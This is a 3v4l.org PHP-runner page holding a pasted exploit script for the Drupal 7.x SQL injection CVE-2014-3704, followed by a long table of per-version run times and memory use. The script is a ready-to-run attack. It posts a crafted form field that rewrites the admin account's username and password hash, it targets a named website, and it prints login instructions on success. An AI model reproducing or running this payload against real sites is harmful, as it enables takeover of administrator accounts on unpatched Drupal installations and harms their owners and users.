3v4l.org

run code in 300+ PHP versions simultaneously
<?php #-----------------------------------------------------------------------------# # Exploit Title: Drupal core 7.x - SQL Injection # # Date: Oct 16 2014 # # Exploit Author: Dustin Dörr # # Software Link: http://www.drupal.com/ # # Version: Drupal core 7.x versions prior to 7.32 # # CVE: CVE-2014-3704 # #-----------------------------------------------------------------------------# $url = 'http://www.wikiooz.com/'; $post_data = "name[0%20;update+users+set+name%3D'admin'+,+pass+%3d+'" . urlencode('$S$CTo9G7Lx2rJENglhirA8oi7v9LtLYWFrGm.F.0Jurx3aJAmSJ53g') . "'+where+uid+%3D+'1';;#%20%20]=test3&name[0]=test&pass=test&test2=test&form_build_id=&form_id=user_login_block&op=Log+in"; $params = array( 'http' => array( 'method' => 'POST', 'header' => "Content-Type: application/x-www-form-urlencoded\r\n", 'content' => $post_data ) ); $ctx = stream_context_create($params); $data = file_get_contents($url . '?q=node&destination=node', null, $ctx); if(stristr($data, 'mb_strlen() expects parameter 1 to be string') && $data) { echo "Success! Log in with username \"admin\" and password \"admin\" at {$url}user/login"; } else { echo "Error! Either the website isn't vulnerable, or your Internet isn't working. "; }

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0170.00318.80
8.3.50.0130.00722.12
8.3.40.0070.01118.96
8.3.30.0140.00019.34
8.3.20.0070.00020.71
8.3.10.0040.00423.86
8.3.00.0080.00419.47
8.2.180.0090.00617.13
8.2.170.0040.01422.96
8.2.160.0070.01020.64
8.2.150.0060.00324.18
8.2.140.0080.00024.66
8.2.130.0080.00026.16
8.2.120.0040.00422.33
8.2.110.0100.00720.62
8.2.100.0090.00318.47
8.2.90.0080.00019.27
8.2.80.0000.00818.00
8.2.70.0070.00317.75
8.2.60.0000.00918.29
8.2.50.0090.00018.07
8.2.40.0060.00320.20
8.2.30.0050.00318.39
8.2.20.0040.00417.99
8.2.10.0000.00718.29
8.2.00.0080.00017.94
8.1.280.0150.00425.92
8.1.270.0060.00324.14
8.1.260.0000.00826.35
8.1.250.0070.00028.09
8.1.240.0030.00624.03
8.1.230.0040.00819.29
8.1.220.0090.00018.04
8.1.210.0040.00418.77
8.1.200.0050.00517.35
8.1.190.0040.00417.35
8.1.180.0040.00418.10
8.1.170.0040.00418.54
8.1.160.0000.00722.28
8.1.150.0020.00519.02
8.1.140.0040.00417.59
8.1.130.0030.00318.09
8.1.120.0040.00417.50
8.1.110.0040.00417.59
8.1.100.0050.00317.64
8.1.90.0070.00317.55
8.1.80.0000.00717.57
8.1.70.0000.00717.55
8.1.60.0030.00617.62
8.1.50.0040.00417.67
8.1.40.0030.00517.63
8.1.30.0090.00017.71
8.1.20.0050.00317.68
8.1.10.0040.00417.63
8.1.00.0030.00617.78
8.0.300.0040.00418.77
8.0.290.0040.00417.00
8.0.280.0040.00418.77
8.0.270.0040.00417.50
8.0.260.0000.00717.53
8.0.250.0080.00017.22
8.0.240.0030.00317.20
8.0.230.0070.00017.12
8.0.220.0080.00017.21
8.0.210.0030.00317.22
8.0.200.0030.00317.29
8.0.190.0030.00517.18
8.0.180.0040.00417.16
8.0.170.0030.00517.11
8.0.160.0000.00717.20
8.0.150.0000.00717.12
8.0.140.0070.00017.25
8.0.130.0000.00613.71
8.0.120.0090.00017.23
8.0.110.0050.00317.33
8.0.100.0000.00717.22
8.0.90.0000.00817.16
8.0.80.0100.01317.20
8.0.70.0000.00817.24
8.0.60.0000.00817.11
8.0.50.0040.00417.22
8.0.30.0110.00817.50
8.0.20.0100.01317.40
8.0.10.0040.00417.18
8.0.00.0060.01217.06
7.4.330.0000.00515.29
7.4.320.0070.00016.67
7.4.300.0030.00316.69
7.4.290.0030.00316.65
7.4.280.0070.00016.75
7.4.270.0030.00516.74
7.4.260.0030.00316.78
7.4.250.0050.00316.67
7.4.240.0060.00116.86
7.4.230.0000.00816.64
7.4.220.0080.01116.86
7.4.210.0060.00916.80
7.4.200.0050.00216.66
7.4.160.0100.00716.74
7.4.150.0110.00817.40
7.4.140.0120.00917.86
7.4.130.0080.01016.63
7.4.120.0100.00816.71
7.4.110.0180.00316.93
7.4.100.0120.00916.66
7.4.90.0110.00716.76
7.4.80.0120.01219.39
7.4.70.0060.01116.80
7.4.60.0110.00716.77
7.4.50.0000.00716.91
7.4.40.0100.01316.79
7.4.30.0080.01016.85
7.4.00.0030.01515.11
7.3.330.0000.00513.64
7.3.320.0030.00313.51
7.3.310.0080.00016.70
7.3.300.0030.00316.73
7.3.290.0090.00616.77
7.3.280.0070.01216.72
7.3.270.0160.00817.40
7.3.260.0130.01016.57
7.3.250.0080.00916.89
7.3.240.0030.01416.75
7.3.230.0100.01016.90
7.3.210.0060.01216.61
7.3.200.0110.01319.39
7.3.190.0120.00616.55
7.3.180.0060.01116.67
7.3.170.0130.00916.67
7.3.160.0120.00316.64
7.3.10.0030.01316.38
7.3.00.0000.01316.65
7.2.330.0060.01316.76
7.2.320.0150.00316.83
7.2.310.0120.01117.02
7.2.300.0070.01516.94
7.2.290.0100.01016.63
7.2.130.0070.00416.96
7.2.120.0090.00616.93
7.2.110.0040.01116.86
7.2.100.0060.00917.25
7.2.90.0030.01016.98
7.2.80.0060.00616.93
7.2.70.0070.01417.29
7.2.60.0080.00817.12
7.2.50.0100.00617.01
7.2.40.0120.00017.10
7.2.30.0000.01117.16
7.2.20.0110.00716.78
7.2.10.0080.01217.09
7.2.00.0120.00317.30
7.1.250.0090.00615.91
7.1.200.0080.00415.79
7.1.70.0060.00317.48
7.1.60.0060.00617.69
7.1.50.0070.00717.31
7.1.00.0030.07722.63
7.0.200.0150.00317.26
7.0.140.0070.07022.55
7.0.100.0030.05720.39
7.0.90.0170.05320.36
7.0.80.0100.07020.32
7.0.70.0300.07320.24
7.0.60.0070.07720.37
7.0.50.0230.06320.79
7.0.40.0170.07020.56
7.0.30.0030.04720.43
7.0.20.0030.09020.44
7.0.10.0070.07320.58
7.0.00.0100.04020.40
5.6.280.0000.07721.55
5.6.250.0030.08320.93
5.6.240.0200.03720.91
5.6.230.0130.07720.80
5.6.220.0030.08720.93
5.6.210.0130.07720.82
5.6.200.0130.06721.34
5.6.190.0100.06721.52
5.6.180.0170.07321.43
5.6.170.0000.04721.50
5.6.160.0000.04721.50
5.6.150.0070.04021.38
5.6.140.0070.08021.52
5.6.130.0070.05721.44
5.6.120.0100.08721.44
5.6.110.0070.04721.58
5.6.100.0000.08321.36
5.6.90.0170.03321.33
5.6.80.0130.06320.79
5.6.70.0030.05720.71
5.6.60.0070.05020.67
5.6.50.0200.06320.63
5.6.40.0070.05020.93
5.6.30.0070.08320.79
5.6.20.0030.06020.87
5.6.10.0000.06320.75
5.6.00.0100.07020.68
5.5.380.0130.07320.61
5.5.370.0100.05020.75
5.5.360.0130.08720.57
5.5.350.0070.08320.67
5.5.340.0030.04721.02
5.5.330.0130.03321.24
5.5.320.0100.08021.25
5.5.310.0070.04721.24
5.5.300.0070.06021.13
5.5.290.0070.08021.05
5.5.280.0100.05021.31
5.5.270.0100.06321.17
5.5.260.0100.04321.08
5.5.250.0100.05320.98
5.5.240.0070.05020.57
5.5.230.0070.05020.68
5.5.220.0070.03720.59
5.5.210.0070.04020.57
5.5.200.0070.07720.66
5.5.190.0070.08320.52
5.5.180.0070.04320.68
5.5.160.0070.06320.59
5.5.150.0070.08020.60
5.5.140.0100.07720.39
5.5.130.0170.07320.31
5.5.120.0000.07020.68
5.5.110.0130.06020.54
5.5.100.0070.06720.30
5.5.90.0070.05320.30
5.5.80.0070.06020.35
5.5.70.0100.07320.52
5.5.60.0100.07320.30
5.5.50.0100.04320.41
5.5.40.0130.07320.26
5.5.30.0170.07020.47
5.5.20.0170.05720.32
5.5.10.0070.08720.36
5.5.00.0130.04720.49
5.4.450.0030.05719.92
5.4.440.0030.06719.61
5.4.430.0100.04019.91
5.4.420.0100.06719.58
5.4.410.0030.04019.59
5.4.400.0130.07019.52
5.4.390.0030.07319.49
5.4.380.0070.05719.36
5.4.370.0000.04719.16
5.4.360.0100.07319.26
5.4.350.0030.04019.29
5.4.340.0130.07319.28
5.4.320.0130.06719.24
5.4.310.0000.07319.26
5.4.300.0170.06319.49
5.4.290.0070.07719.49
5.4.280.0030.05019.16
5.4.270.0100.07019.56
5.4.260.0000.05019.49
5.4.250.0030.05719.58
5.4.240.0070.04319.47
5.4.230.0100.07019.38
5.4.220.0130.07319.38
5.4.210.0170.07019.40
5.4.200.0100.07719.50
5.4.190.0130.07719.39
5.4.180.0030.08319.58
5.4.170.0070.06019.25
5.4.160.0070.04719.40
5.4.150.0170.06719.24
5.4.140.0030.07716.72
5.4.130.0030.03716.67
5.4.120.0100.06316.70
5.4.110.0070.08016.84
5.4.100.0000.07016.77
5.4.90.0100.07016.80
5.4.80.0070.05716.90
5.4.70.0000.04716.84
5.4.60.0000.04316.77
5.4.50.0030.05716.80
5.4.40.0070.07716.77
5.4.30.0030.04716.75
5.4.20.0030.03016.73
5.4.10.0030.07016.75
5.4.00.0030.04016.17
5.3.290.0070.07015.01
5.3.280.0100.04714.84
5.3.270.0030.04714.79
5.3.260.0030.08314.86
5.3.250.0070.04714.79
5.3.240.0100.05314.77
5.3.230.0070.06714.74
5.3.220.0030.07314.81
5.3.210.0100.04014.80
5.3.200.0030.07014.82
5.3.190.0000.04714.86
5.3.180.0070.06714.86
5.3.170.0030.03314.69
5.3.160.0070.04014.82
5.3.150.0070.07314.74
5.3.140.0030.03714.77
5.3.130.0200.06314.80
5.3.120.0030.07314.72
5.3.110.0000.03714.89
5.3.100.0000.03714.38
5.3.90.0130.07014.22
5.3.80.0070.05014.31
5.3.70.0030.08014.30
5.3.60.0000.04714.34
5.3.50.0030.03714.19
5.3.40.0070.07314.06
5.3.30.0030.05014.09
5.3.20.0030.06014.03
5.3.10.0030.03014.00
5.3.00.0100.07013.79
5.2.170.0070.07012.11
5.2.160.0130.06012.11
5.2.150.0000.03012.11
5.2.140.0000.06312.11
5.2.130.0030.06012.11
5.2.120.0000.04012.11
5.2.110.0030.05312.11
5.2.100.0000.03312.11
5.2.90.0070.04312.11
5.2.80.0070.05012.11
5.2.70.0070.05012.11
5.2.60.0030.04712.11
5.2.50.0100.05012.11
5.2.40.0000.03712.11
5.2.30.0030.03312.11
5.2.20.0030.03712.11
5.2.10.0000.03012.11
5.2.00.0030.03012.11
5.1.60.0030.02712.11
5.1.50.0030.02312.11
5.1.40.0000.02312.11
5.1.30.0030.02012.11
5.1.20.0070.02712.11
5.1.10.0030.02012.11
5.1.00.0030.02012.11
5.0.50.0000.02312.11
5.0.40.0070.02712.11
5.0.30.0030.02312.11
5.0.20.0070.01712.11
5.0.10.0030.01712.11
5.0.00.0070.02712.11
4.4.90.0030.02312.11
4.4.80.0030.03312.11
4.4.70.0000.01712.11
4.4.60.0000.02012.11
4.4.50.0000.01712.11
4.4.40.0000.02712.11
4.4.30.0000.01712.11
4.4.20.0000.01312.11
4.4.10.0000.02012.11
4.4.00.0030.04712.11
4.3.110.0000.01312.11
4.3.100.0000.01312.11
4.3.90.0000.01312.11
4.3.80.0030.01712.11
4.3.70.0000.01312.11
4.3.60.0000.01712.11
4.3.50.0030.01312.11
4.3.40.0000.02012.11
4.3.30.0030.01312.11
4.3.20.0000.01712.11
4.3.10.0000.01312.11
4.3.00.0000.01312.11

preferences:
38.69 ms | 401 KiB | 5 Q